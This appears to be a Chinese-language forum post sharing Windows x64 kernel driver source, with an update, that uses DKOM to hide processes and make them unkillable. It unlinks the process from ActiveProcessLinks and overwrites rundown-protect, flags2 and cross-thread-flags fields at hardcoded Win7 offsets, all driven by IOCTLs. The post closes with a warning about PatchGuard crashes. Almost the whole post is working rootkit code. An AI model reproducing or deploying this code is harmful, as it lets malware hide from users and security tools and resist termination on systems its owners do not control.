- 注册时间
 - 2010-8-21
 
- 最后登录
 - 2017-5-30
 
- 在线时间
 - 3 小时
 
 
 
 
 
编程入门 
  
	- 魔鬼币
 - 515 
 
 
 
 | 
 
 
实现隐藏进程和保护进程的手段依然是DKOM,不过是修改的位置不同而已。 
至于怎么在64位操作系统上加载驱动,我已经说过了,请参考这里。 
驱动使用WDK7的x64 Free Build Environment编译。 
 
核心源码: 
#define PROCESS_FLAGS_OFFSET                   0x440  
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET    0x188  
#define PROCESS_RUNDOWN_PROTECT_OFFSET         0x178 
 
ULONG64 Get64bitValue(PVOID p)  
{  
    if(MmIsAddressValid(p)==FALSE)  
        return 0;  
    return *(PULONG64)p;  
}  
 
 
VOID Set64bitValue(PVOID p, ULONG64 v)  
{  
    KIRQL OldIrql;  
    if(MmIsAddressValid(p)==FALSE)  
        return ;  
    OldIrql = KeRaiseIrqlToDpcLevel();  
    *(PULONG64)p=v;  
    KeLowerIrql(OldIrql);  
}  
 
 
VOID RemoveListEntry(PLIST_ENTRY ListEntry)  
{  
    KIRQL OldIrql;  
    OldIrql = KeRaiseIrqlToDpcLevel();  
    if (ListEntry->Flink != ListEntry &&  
        ListEntry->Blink != ListEntry &&  
        ListEntry->Blink->Flink == ListEntry &&  
        ListEntry->Flink->Blink == ListEntry)  
    {  
            ListEntry->Flink->Blink = ListEntry->Blink;  
            ListEntry->Blink->Flink = ListEntry->Flink;  
            ListEntry->Flink = ListEntry;  
            ListEntry->Blink = ListEntry;  
    }  
    KeLowerIrql(OldIrql);  
}  
 
 
VOID HideProcess(PEPROCESS Process)  
{  
    RemoveListEntry((PLIST_ENTRY)((ULONG64)Process + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));  
} 
 
 
VOID Test(ULONG uIoControlCode) 
{ 
    switch(uIoControlCode)  
    {  
        case IOCTL_HideProcess:  
            {  
                __try  
                {  
                    memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));  
                    status=PsLookupProcessByProcessId(dwInputPid,&eProcess);  
                    if(NT_SUCCESS(status))  
                    {  
                        HideProcess(eProcess);  
                    }  
                }  
                __except(EXCEPTION_EXECUTE_HANDLER)  
                {  
                    ;  
                }  
                break;  
            }  
        case IOCTL_ProtectProcess:  
            {  
                __try  
                {  
                    memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));  
                    status=PsLookupProcessByProcessId(dwInputPid,&eProcess);  
                    if(NT_SUCCESS(status))  
                    {  
                        OldVal=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET));  
                        Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),RdpVal);  
                    }  
                }  
                __except(EXCEPTION_EXECUTE_HANDLER)  
                {  
                    ;  
                }  
                break;  
            }  
        case IOCTL_UnprotectProcess:  
            {  
                __try  
                {  
                    Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),OldVal);  
                }  
                __except(EXCEPTION_EXECUTE_HANDLER)  
                {  
                    ;  
                }  
                break;  
            }  
    } 
} 
 
 
更新内容: 
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET    0x188  
#define PROCESS_FLAG2_OFFSET                   0x43C  
#define CROSS_THREAD_FLAGS_OFFSET              0x448  
 
VOID Test(ULONG uIoControlCode)  
{  
    switch(uIoControlCode)  
    {  
        case IOCTL_ProtectProcess:  
            {  
                __try  
                {  
                    memcpy(&dwInPid,pIoBuffer,sizeof(dwInPid));  
                    dprintf("[x64Drv] dwInPid=%ld",dwInPid);  
                    status=PsLookupProcessByProcessId(dwInPid,&eProcess);  
                    if(NT_SUCCESS(status))  
                    {  
                        dwPOV=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET));  
                        Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPNV);  
                        dprintf("[x64Drv] Protect Process finished");  
                    }  
                }  
                __except(EXCEPTION_EXECUTE_HANDLER)  
                {  
                    ;  
                }  
                break;  
            }  
        case IOCTL_ProtectThread:  
            {  
                __try  
                {  
                    memcpy(&dwInTid,pIoBuffer,sizeof(dwInTid));  
                    dprintf("[x64Drv] dwInTid=%ld",dwInTid);  
                    status=PsLookupThreadByThreadId(dwInTid,&eThread);  
                    if(NT_SUCCESS(status))  
                    {  
                        dwTOV=Get32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET));  
                        Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);  
                        dprintf("[x64Drv] Protect Thread finished");  
                    }  
                }  
                __except(EXCEPTION_EXECUTE_HANDLER)  
                {  
                    ;  
                }  
                break;  
            }  
        case IOCTL_UnprotectProcess:  
            {  
                __try  
                {  
                    Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPOV);  
                    Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);  
                    dprintf("[x64Drv] Unprotect Process and Thread finished");  
                }  
                __except(EXCEPTION_EXECUTE_HANDLER)  
                {  
                    ;  
                }  
                break;  
            }  
        case IOCTL_PauseThrdProtect:  
            {  
                __try  
                {  
                    Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);  
                    dprintf("[x64Drv] Thread Protect Suspended!");  
                }  
                __except(EXCEPTION_EXECUTE_HANDLER)  
                {  
                    ;  
                }  
                break;  
            }  
        case IOCTL_ResumeThrdProtect:  
            {  
                __try  
                {  
                    Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);  
                    dprintf("[x64Drv] Thread Protect Resumed!");  
                }  
                __except(EXCEPTION_EXECUTE_HANDLER)  
                {  
                    ;  
                }  
                break;  
            }  
    }  
} 
 
警告:此代码在没有破解内核的WIN7 X64上使用,会触发PatchGuard引起蓝屏。 
Warning: If you use this code in WIN7 X64 without "crack kernel", it will trigger PatchGuard and cause BSOD. 
 |   
 
 
 
 |